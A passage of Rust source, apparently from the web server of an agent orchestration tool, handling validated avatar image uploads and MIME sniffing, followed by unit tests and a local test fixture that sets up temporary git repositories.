11043 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11044 char::from(b).to_string()
11045 } else {
11046 format!("%{b:02X}")
11047 }
11048 })
11049 .collect()
11050}
11051
11052fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11054 let Some(id) = persona else {
11055 return home.join("avatars/operator.data");
11056 };
11057 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11058 let mut path = home.join("avatars/personas");
11059 for chunk in encoded.as_bytes().chunks(100) {
11060 path.push(std::str::from_utf8(chunk).expect("hex"));
11061 }
11062 path.join("icon.data")
11063}
11064
11065fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11066 match read_icon_file(&avatar_setting_path(home, Some(id))) {
11067 Some(value) if value == "builtin" => Some(String::new()),
11068 Some(value) => Some(value),
11069 None => configured.map(str::to_owned),
11070 }
11071}
11072
11073fn operator_icon_url(home: &FsPath) -> String {
11074 format!(
11075 "/avatars/operator.svg?v={}",
11076 persona_icon::fingerprint(
11077 read_icon_file(&avatar_setting_path(home, None))
11078 .as_deref()
11079 .or(Some(persona_icon::operator_svg()))
11080 )
11081 )
11082}
11083
11084fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11085 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11086 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11087 attachment_response(mime, bytes)
11088 }
11089 _ => svg_avatar(builtin),
11090 };
11091 response
11092 .headers_mut()
11093 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11094 response
11095}
11096
11097#[derive(Default, Deserialize)]
11098struct AvatarSettingsQuery {
11099 repo: Option<PathBuf>,
11100 persona: Option<String>,
11101 builtin: Option<String>,
11102 inherit: Option<String>,
11103}
11104
11105fn avatar_settings_specs(
11106 ui: &Ui,
11107 repo: Option<PathBuf>,
11108) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11109 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11110 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11111 .map(|cfg| cfg.talk.personas)
11112 .unwrap_or_default();
11113 Ok((repo, specs))
11114}
11115
11116fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11117 let Ok(entries) = std::fs::read_dir(path) else {
11118 return;
11119 };
11120 for entry in entries.flatten() {
11121 let name = entry.file_name().to_string_lossy().into_owned();
11122 if name == "icon.data" {
11123 let bytes: Option<Vec<u8>> = prefix
11124 .as_bytes()
11125 .chunks(2)
11126 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11127 .collect();
11128 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11129 out.push(id);
11130 }
11131 } else if name.len() <= 100
11132 && !name.is_empty()
11133 && name.bytes().all(|b| b.is_ascii_hexdigit())
11134 && entry.file_type().is_ok_and(|t| t.is_dir())
11135 {
11136 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11137 }
11138 }
11139}
11140
11141async fn avatar_settings_get(
11142 State(ui): State<Arc<Ui>>,
11143 Query(q): Query<AvatarSettingsQuery>,
11144) -> ApiResult<Json<serde_json::Value>> {
11145 blocking(move || {
11146 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11147 let mut catalog = persona::catalog(&specs);
11148 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11149 let mut saved = Vec::new();
11150 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11151 for id in saved {
11152 if !catalog.iter().any(|p| p.id == id) {
11153 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11154 }
11155 }
11156 let personas: Vec<_> = catalog.iter().map(|p| {
11157 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11158 let override_state = match saved.as_deref() {
11159 Some("builtin") => "builtin",
11160 Some(_) => "custom",
11161 None => "inherit",
11162 };
11163 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11164 serde_json::json!({"id":p.id,"name":p.name,
11165 "override_state":override_state,"has_config_icon":p.icon.is_some(),
11166 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11167 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11168 }).collect();
11169 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11170 }).await
11171}
11172
11173async fn settings_persona_avatar(
11174 State(ui): State<Arc<Ui>>,
11175 Query(q): Query<AvatarSettingsQuery>,
11176) -> ApiResult<Response> {
11177 blocking(move || {
11178 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11179 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11180 let found = persona::find(&specs, id);
11181 let icon =
11182 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11183 Ok(raster_or_builtin(
11184 icon.as_deref().filter(|_| q.builtin.is_none()),
11185 persona_icon::builtin_svg(id),
11186 ))
11187 })
11188 .await
11189}
11190
11191fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11192 if q.persona
11193 .as_ref()
11194 .is_some_and(|p| p.is_empty() || p.len() > 4096)
11195 {
11196 return Err(ApiError::bad_request("invalid persona id"));
11197 }
11198 Ok(())
11199}
11200
11201async fn avatar_settings_put(
11202 State(ui): State<Arc<Ui>>,
11203 Query(q): Query<AvatarSettingsQuery>,
11204 Json(upload): Json<MagiIconUpload>,
11205) -> ApiResult<Json<serde_json::Value>> {
11206 blocking(move || {
11207 validate_avatar_target(&q)?;
11208 save_icon_file(
11209 &avatar_setting_path(&ui.home, q.persona.as_deref()),
11210 &upload.icon,
11211 )
11212 .map_err(ApiError::bad_request_from)?;
11213 Ok(Json(serde_json::json!({"saved":true})))
11214 })
11215 .await
11216}
11217
11218async fn avatar_settings_delete(
11219 State(ui): State<Arc<Ui>>,
11220 Query(q): Query<AvatarSettingsQuery>,
11221) -> ApiResult<Json<serde_json::Value>> {
11222 blocking(move || {
11223 validate_avatar_target(&q)?;
11224 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11225 if q.persona.is_some() && q.inherit.is_none() {
11226 atomic_icon_write(&path, "builtin")?;
11227 } else {
11228 match std::fs::remove_file(path) {
11229 Ok(()) => (),
11230 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11231 Err(e) => return Err(anyhow::Error::from(e).into()),
11232 }
11233 }
11234 Ok(Json(serde_json::json!({"saved":true})))
11235 })
11236 .await
11237}
11238
11239fn magi_icon_path(home: &FsPath) -> PathBuf {
11241 home.join("magi-icon.data")
11242}
11243
11244fn read_magi_icon(home: &FsPath) -> Option<String> {
11245 read_icon_file(&magi_icon_path(home))
11246}
11247
11248fn read_icon_file(path: &FsPath) -> Option<String> {
11249 let metadata = std::fs::metadata(path).ok()?;
11250 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11251 return None;
11252 }
11253 let file = std::fs::File::open(path).ok()?;
11254 use std::io::Read;
11255 let mut text = String::new();
11256 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11257 .read_to_string(&mut text)
11258 .ok()?;
11259 if text.len() > persona_icon::ICON_MAX_BYTES {
11260 return None;
11261 }
11262 if text == "builtin" {
11263 return Some(text);
11264 }
11265 validate_uploaded_icon(&text).ok()?;
11266 Some(text)
11267}
11268
11269fn magi_icon_url(home: &FsPath) -> String {
11270 format!(
11271 "/avatars/magi?v={}",
11272 persona_icon::fingerprint(read_magi_icon(home).as_deref())
11273 )
11274}
11275
11276async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11277 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11278}
11279
11280#[derive(Deserialize)]
11281struct MagiIconUpload {
11282 icon: String,
11283}
11284
11285fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11286 save_icon_file(&magi_icon_path(home), icon)
11287}
11288
11289fn validate_uploaded_icon(icon: &str) -> Result<()> {
11290 if !icon.starts_with("data:") {
11291 anyhow::bail!("upload a raster image");
11292 }
11293 let (mime, bytes) = persona_icon::load(icon)?;
11294 if sniffed_mime(&bytes) != Some(mime) {
11295 anyhow::bail!("image content does not match its type");
11296 }
11297 Ok(())
11298}
11299
11300fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11301 validate_uploaded_icon(icon)?;
11302 atomic_icon_write(path, icon)
11303}
11304
11305fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11306 let home = path.parent().expect("icon parent");
11307 std::fs::create_dir_all(home)?;
11308 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11309 let temp = home.join(format!(".magi-icon-{token}.tmp"));
11310 let result = (|| -> Result<()> {
11311 use std::io::Write;
11312 let mut file = std::fs::OpenOptions::new()
11313 .write(true)
11314 .create_new(true)
11315 .open(&temp)?;
11316 file.write_all(icon.as_bytes())?;
11317 file.sync_all()?;
11318 std::fs::rename(&temp, path)?;
11319 Ok(())
11320 })();
11321 let _ = std::fs::remove_file(temp);
11322 result?;
11323 Ok(())
11324}
11325
11326async fn magi_icon_put(
11327 State(ui): State<Arc<Ui>>,
11328 Json(upload): Json<MagiIconUpload>,
11329) -> ApiResult<Json<serde_json::Value>> {
11330 blocking(move || {
11331 if !upload.icon.starts_with("data:") {
11332 return Err(ApiError::bad_request("upload a raster image"));
11333 }
11334 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11335 if sniffed_mime(&bytes) != Some(mime) {
11336 return Err(ApiError::bad_request(
11337 "image content does not match its type",
11338 ));
11339 }
11340 save_magi_icon(&ui.home, &upload.icon)?;
11341 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11342 })
11343 .await
11344}
11345
11346async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11347 blocking(move || {
11348 match std::fs::remove_file(magi_icon_path(&ui.home)) {
11349 Ok(()) => (),
11350 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11351 Err(e) => return Err(anyhow::Error::from(e).into()),
11352 }
11353 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11354 })
11355 .await
11356}
11357
11358async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11359 let icon = (q.builtin.is_none())
11360 .then(|| read_magi_icon(&ui.home))
11361 .flatten();
11362 let mut response = match icon
11363 .as_deref()
11364 .and_then(|icon| persona_icon::load(icon).ok())
11365 {
11366 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11367 attachment_response(mime, bytes)
11368 }
11369 _ => svg_avatar(persona_icon::magi_svg()),
11370 };
11371 response
11372 .headers_mut()
11373 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11374 response
11375}
11376
11377async fn talk_avatar(
11382 State(ui): State<Arc<Ui>>,
11383 Path(id): Path<String>,
11384 Query(q): Query<AvatarQuery>,
11385) -> ApiResult<Response> {
11386 blocking(move || {
11387 let id = resolve_talk(&ui.talks, &id)?;
11388 let talk = ui.talks.get(&id)?;
11389 let wanted = q
11390 .persona
11391 .as_deref()
11392 .map(str::trim)
11393 .filter(|p| !p.is_empty())
11394 .unwrap_or(&talk.persona)
11395 .to_owned();
11396 let specs = match talk.config() {
11397 Ok(cfg) => cfg.talk.personas,
11398 Err(e) => {
11399 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11400 Vec::new()
11401 }
11402 };
11403 let found = persona::find(&specs, &wanted);
11404 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11406 let icon = effective_persona_icon(
11407 &ui.home,
11408 &wanted,
11409 found.as_ref().and_then(|p| p.icon.as_deref()),
11410 );
11411 if found.is_none() && icon.is_none() {
11412 return Ok(builtin_avatar(persona::DEFAULT_ID));
11413 }
11414 let Some(icon) = icon
11415 .as_deref()
11416 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11417 else {
11418 return Ok(builtin_avatar(&wanted));
11419 };
11420 let Some(found) = found else {
11421 return Ok(raster_or_builtin(
11422 Some(icon),
11423 persona_icon::builtin_svg(&wanted),
11424 ));
11425 };
11426 match persona_icon::load(icon) {
11427 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11428 let mut res = attachment_response(mime, bytes);
11429 res.headers_mut().insert(
11430 header::CACHE_CONTROL,
11431 header::HeaderValue::from_static("no-cache"),
11432 );
11433 Ok(res)
11434 }
11435 Ok((mime, _)) => {
11436 tracing::warn!(
11437 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11438 found.id
11439 );
11440 Ok(builtin_avatar(&found.id))
11441 }
11442 Err(e) => {
11443 tracing::warn!(
11444 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11445 found.id
11446 );
11447 Ok(builtin_avatar(&found.id))
11448 }
11449 }
11450 })
11451 .await
11452}
11453
11454fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11465 if data.len() > ATTACHMENT_MAX_BYTES {
11466 return Err(ApiError::bad_request(format!(
11467 "attachment is {} bytes, over the {} MiB limit",
11468 data.len(),
11469 ATTACHMENT_MAX_BYTES / (1024 * 1024)
11470 ))
11471 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11472 }
11473 if data.is_empty() {
11474 return Err(ApiError::bad_request("attachment is empty"));
11475 }
11476 let declared = declared_mime(headers)?;
11477 match sniffed_mime(data) {
11478 Some(sniffed) if sniffed == declared => Ok(declared),
11479 Some(sniffed) => Err(ApiError::bad_request(format!(
11480 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11481 ))),
11482 None => Err(ApiError::bad_request(
11483 "the file's bytes do not match any accepted image format",
11484 )),
11485 }
11486}
11487
11488fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11492 let raw = headers
11493 .get(header::CONTENT_TYPE)
11494 .and_then(|v| v.to_str().ok())
11495 .unwrap_or("")
11496 .split(';')
11497 .next()
11498 .unwrap_or("")
11499 .trim()
11500 .to_ascii_lowercase();
11501 ATTACHMENT_MIME_WHITELIST
11502 .iter()
11503 .find(|&&m| m == raw)
11504 .copied()
11505 .ok_or_else(|| {
11506 if raw == "image/svg+xml" {
11507 ApiError::bad_request(
11508 "SVG is not accepted: it can carry active content (e.g. a <script>), \
11509 not just a picture",
11510 )
11511 } else if raw.is_empty() {
11512 ApiError::bad_request("Content-Type is required for an attachment upload")
11513 } else {
11514 ApiError::bad_request(format!(
11515 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11516 image/gif or image/webp"
11517 ))
11518 }
11519 })
11520}
11521
11522fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11525 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11526 Some("image/png")
11527 } else if data.starts_with(b"\xff\xd8\xff") {
11528 Some("image/jpeg")
11529 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11530 Some("image/gif")
11531 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11532 Some("image/webp")
11533 } else {
11534 None
11535 }
11536}
11537
11538fn filename_header(headers: &HeaderMap) -> String {
11544 headers
11545 .get(FILENAME_HEADER)
11546 .and_then(|v| v.to_str().ok())
11547 .map(str::trim)
11548 .filter(|s| !s.is_empty())
11549 .unwrap_or("attachment")
11550 .to_owned()
11551}
11552
11553fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11560 let content_type = ATTACHMENT_MIME_WHITELIST
11561 .iter()
11562 .find(|&&m| m == mime)
11563 .copied()
11564 .unwrap_or("application/octet-stream");
11565 (
11566 [
11567 (header::CONTENT_TYPE, content_type),
11568 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11569 ],
11570 body,
11571 )
11572 .into_response()
11573}
11574
11575async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11583 let repo = repo.to_path_buf();
11584 blocking(move || {
11585 let (cfg, _) = Config::discover(&repo, None)?;
11586 Ok(cfg)
11587 })
11588 .await
11589}
11590
11591fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11597 let mut hits = ids
11598 .into_iter()
11599 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11600 match (hits.next(), hits.next()) {
11601 (Some(one), None) => Ok(one),
11602 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11603 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11604 "`{prefix}` matches more than one {what}, including {a} and {b}"
11605 ))),
11606 }
11607}
11608
11609#[cfg(test)]
11610mod tests {
11611
11612 #[test]
11613 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11614 let dir = tempfile::tempdir().unwrap();
11615 let store = ask::Questions::at(dir.path().join("questions"));
11616 let mut q = Question::new(
11617 "task".to_owned(),
11618 "conduct".to_owned(),
11619 "conduct".to_owned(),
11620 "choose".to_owned(),
11621 String::new(),
11622 vec!["keep".to_owned()],
11623 );
11624 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11625 q.say("why?").unwrap();
11626 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11627 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11628 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11629 store.put(&mut q).unwrap();
11630 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11631 assert_eq!(store.count_needs_owner(), 1);
11632 store.beat(&q.id, ask::WaiterKind::Deputy);
11633 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11634 assert_eq!(store.count_needs_owner(), 0);
11635 let mut stale = store.read_lease(&q.id).unwrap();
11636 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11637 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11638 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11639 assert!(view.deputy_exhausted);
11640 assert!(view.waiting_on_agent);
11641 assert_eq!(view.question.choices, ["keep"]);
11642 store.drop_lease(&q.id);
11643 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11644 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11645 }
11646
11647 #[test]
11648 fn holder_reads_the_lease_not_the_record() {
11649 let mut q = Question::new(
11650 "run".to_owned(),
11651 "implement".to_owned(),
11652 "impl-A".to_owned(),
11653 "which?".to_owned(),
11654 String::new(),
11655 Vec::new(),
11656 );
11657 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11658 q.cwd = Some("/tmp".to_owned());
11659 assert_eq!(holder_of(&q, None), Some("nobody"));
11660 let beat = |kind, ago: i64| ask::Lease {
11661 kind,
11662 pid: 1,
11663 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11664 .unwrap(),
11665 };
11666 let fresh = beat(ask::WaiterKind::Asker, 1);
11667 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11668 let daemon = beat(ask::WaiterKind::Daemon, 1);
11669 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11670 let stale = beat(ask::WaiterKind::Asker, 3600);
11671 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11672
11673 let mut c = Question::new(
11676 "task".to_owned(),
11677 crate::conduct::NODE.to_owned(),
11678 "conduct".to_owned(),
11679 "which?".to_owned(),
11680 String::new(),
11681 Vec::new(),
11682 );
11683 assert_eq!(holder_of(&c, None), Some("nobody"));
11684 c.cwd = Some("/tmp".to_owned());
11685 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11686 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11687 let deputy = beat(ask::WaiterKind::Deputy, 1);
11688 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11689 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11690
11691 let mut r = Question::new(
11693 String::new(),
11694 crate::bump::NOTICE_NODE.to_owned(),
11695 "release-watch".to_owned(),
11696 "stuck?".to_owned(),
11697 String::new(),
11698 vec!["hold".to_owned()],
11699 );
11700 assert_eq!(holder_of(&r, None), Some("nobody"));
11701 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11702 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11703 r.deputy = None;
11705 r.seat = "bump".to_owned();
11706 assert_eq!(holder_of(&r, None), None);
11707
11708 let mut m = Question::new(
11711 "run".to_owned(),
11712 crate::land::APPROVAL_NODE.to_owned(),
11713 "land".to_owned(),
11714 "merge?".to_owned(),
11715 String::new(),
11716 Vec::new(),
11717 );
11718 assert_eq!(holder_of(&m, None), Some("nobody"));
11719 assert_eq!(
11720 holder_of(&m, Some(&fresh)),
11721 Some("asker"),
11722 "a live explicit wait is a listener even before a deputy is attached"
11723 );
11724 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11725 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11726 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11727 assert_eq!(holder_of(&m, None), Some("nobody"));
11728 }
11729
11730 fn stub_config() -> Config {
11731 Config {
11734 agents: vec![crate::config::AgentSpec {
11735 id: "stub".to_owned(),
11736 kind: AgentKind::Command,
11737 model: None,
11738 command: vec!["true".to_owned()],
11739 extra_args: Vec::new(),
11740 env: Default::default(),
11741 prompt_delivery: None,
11742 max_turn_secs: None,
11743 }],
11744 ..Config::default()
11745 }
11746 }
11747
11748 fn plain_question(seat: &str) -> Question {
11749 Question::new(
11750 String::new(),
11751 "n".to_owned(),
11752 seat.to_owned(),
11753 "s".to_owned(),
11754 String::new(),
11755 Vec::new(),
11756 )
11757 }
11758
11759 #[test]
11760 fn deputies_enabled_follows_the_config() {
11761 let on = stub_config();
11762 assert!(crate::deputy::can_start(Some(&on), ""));
11763 assert!(crate::deputy::can_start(Some(&on), "stub"));
11764 let mut off = on.clone();
11765 off.daemon.max_deputies = 0;
11766 assert!(!crate::deputy::can_start(Some(&off), ""));
11767 let mut empty = on;
11768 empty.agents.clear();
11769 assert!(!crate::deputy::can_start(Some(&empty), ""));
11770 assert!(!crate::deputy::can_start(None, ""));
11771 }
11772
11773 #[test]
11774 fn question_views_load_the_config_once() {
11775 let dir = TempDir::new().unwrap();
11776 let store = ask::Questions::at(dir.path().to_path_buf());
11777 let mut with_deputy = plain_question("b");
11778 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11779 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11780
11781 let calls = std::cell::Cell::new(0usize);
11782 let views = question_views(qs.clone(), &store, || {
11783 calls.set(calls.get() + 1);
11784 Some(stub_config())
11785 });
11786 assert_eq!(calls.get(), 1);
11787 assert_eq!(views.len(), 3);
11788 for (v, q) in views.iter().zip(&qs) {
11789 assert_eq!(
11790 v.deputies_enabled,
11791 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11792 );
11793 }
11794
11795 let views = question_views(qs, &store, || None);
11796 assert!(views.iter().all(|v| !v.deputies_enabled));
11797
11798 let calls = std::cell::Cell::new(0usize);
11799 let views = question_views(Vec::new(), &store, || {
11800 calls.set(calls.get() + 1);
11801 None
11802 });
11803 assert!(views.is_empty());
11804 assert_eq!(calls.get(), 0);
11805 }
11806
11807 use pretty_assertions::assert_eq;
11808 use serde_json::Value;
11809 use tempfile::TempDir;
11810 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11811
11812 use super::*;
11813
11814 static APP_JS: std::sync::LazyLock<String> =
11817 std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11818 static APP_CSS: std::sync::LazyLock<String> =
11819 std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11820 use crate::config::Config;
11821 use crate::queue::Source;
11822
11823 const SETTLE_STEPS: usize = 3_000;
11834
11835 struct Fixture {
11841 home: TempDir,
11842 addr: SocketAddr,
11843 }
11844
11845 impl Fixture {
11846 async fn start() -> Self {
11847 Self::with_loop(launch_idle).await
11848 }
11849
11850 async fn with_loop(launch: Launch) -> Self {
11852 let home = TempDir::new().expect("temp home");
11853 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11854 Self { home, addr }
11855 }
11856
11857 async fn with_repo(repo: PathBuf) -> Self {
11861 let home = TempDir::new().expect("temp home");
11862 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11863 Self { home, addr }
11864 }
11865
11866 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11869 let home = TempDir::new().expect("temp home");
11870 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11871 Self { home, addr }
11872 }
11873
11874 async fn serve(
11875 home: &FsPath,
11876 repo: PathBuf,
11877 launch: Launch,
11878 machine: Option<PathBuf>,
11879 ) -> SocketAddr {
11880 let queue = Queue::at(home.join("queue"));
11881 let runs = home.join("runs");
11882 std::fs::create_dir_all(&runs).expect("runs dir");
11883 let worktrees = home.join("wt").join("magi");
11884 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11885 let ui = Ui::new(
11886 queue,
11887 Questions::at(home.join("questions")),
11888 Talks::at(home.join("talks")),
11889 runs,
11890 home.to_path_buf(),
11891 repo,
11892 )
11893 .with_worktrees_root(worktrees)
11894 .with_machine_config(machine)
11895 .with_launch(launch);
11896 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11897 .await
11898 .expect("bind loopback");
11899 let addr = listener.local_addr().expect("local addr");
11900 tokio::spawn(async move {
11901 let router = ui
11902 .router()
11903 .layer(axum::middleware::from_fn(request_cost::observe));
11904 let _ = axum::serve(listener, router).await;
11905 });
11906 addr
11907 }
11908
11909 fn queue(&self) -> Queue {
11910 Queue::at(self.home.path().join("queue"))
11911 }
11912
11913 fn questions(&self) -> Questions {
11914 Questions::at(self.home.path().join("questions"))
11915 }
11916
11917 fn talks(&self) -> Talks {
11918 Talks::at(self.home.path().join("talks"))
11919 }
11920
11921 fn runs(&self) -> PathBuf {
11922 self.home.path().join("runs")
11923 }
11924
11925 async fn get(&self, path: &str) -> Res {
11926 request(self.addr, "GET", path, None).await
11927 }
11928
11929 async fn head(&self, path: &str) -> Res {
11934 request(self.addr, "HEAD", path, None).await
11935 }
11936
11937 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11938 request(self.addr, "POST", path, body).await
11939 }
11940
11941 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11942 request_with(self.addr, "GET", path, None, extra).await
11943 }
11944
11945 async fn delete(&self, path: &str) -> Res {
11946 request(self.addr, "DELETE", path, None).await
11947 }
11948
11949 async fn put(&self, path: &str, body: &str) -> Res {
11950 request(self.addr, "PUT", path, Some(body)).await
11951 }
11952
11953 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11955 request_bytes(self.addr, path, headers, body).await
11956 }
11957 }
11958
11959 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11962 let tmp = TempDir::new().unwrap();
11963 let mut repos = Vec::new();
11964 for name in ["one", "two"] {
11965 let repo = tmp.path().join(name);
11966 let origin = tmp.path().join(format!("{name}.git"));
11967 std::fs::create_dir_all(&repo).unwrap();
11968 crate::git::git(&repo, &["init", "-b", "main"])
11969 .await
11970 .unwrap();
11971 std::fs::write(
11972 repo.join("magi.toml"),
11973 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11974 )
11975 .unwrap();
11976 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11977 crate::git::git(
11978 &repo,
11979 &[
11980 "-c",
11981 "user.name=fixture",
11982 "-c",
11983 "user.email=fixture@example.invalid",
11984 "commit",
11985 "-m",
11986 "fixture",
11987 ],
11988 )
11989 .await
11990 .unwrap();
11991 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11992 .await
11993 .unwrap();
11994 crate::git::git(
11995 &repo,
11996 &["remote", "add", "origin", origin.to_str().unwrap()],
11997 )
11998 .await
11999 .unwrap();
12000 crate::git::git(&repo, &["push", "origin", "main"])
12001 .await
12002 .unwrap();
12003 crate::git::git(
12004 &repo,
12005 &[
12006 "symbolic-ref",
12007 "refs/remotes/origin/HEAD",
12008 "refs/remotes/origin/main",
12009 ],
12010 )
12011 .await
12012 .unwrap();
12013 let (cfg, _) = Config::discover(&repo, None).unwrap();
12014 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12015 repos.push(repo);
12016 }
12017 let repos: [PathBuf; 2] = repos.try_into().unwrap();
12018 (tmp, repos)
12019 }
12020
12021 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12022 let (tmp, repos) = performance_repositories().await;
12023 let machine = tmp.path().join("machine.toml");
12024 std::fs::write(&machine, "").unwrap();
12025 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12026 (tmp, repos, fx)
12027 }
12028
12029 fn seed_performance(
12030 fx: &Fixture,
12031 repos: &[PathBuf; 2],
12032 questions: usize,
12033 runs: usize,
12034 items: usize,
12035 ) {
12036 for i in fx.questions().list().len()..questions {
12038 let mut question = Question::new(
12039 "20261001-000000-0000".into(),
12040 "implement".into(),
12041 "impl-A".into(),
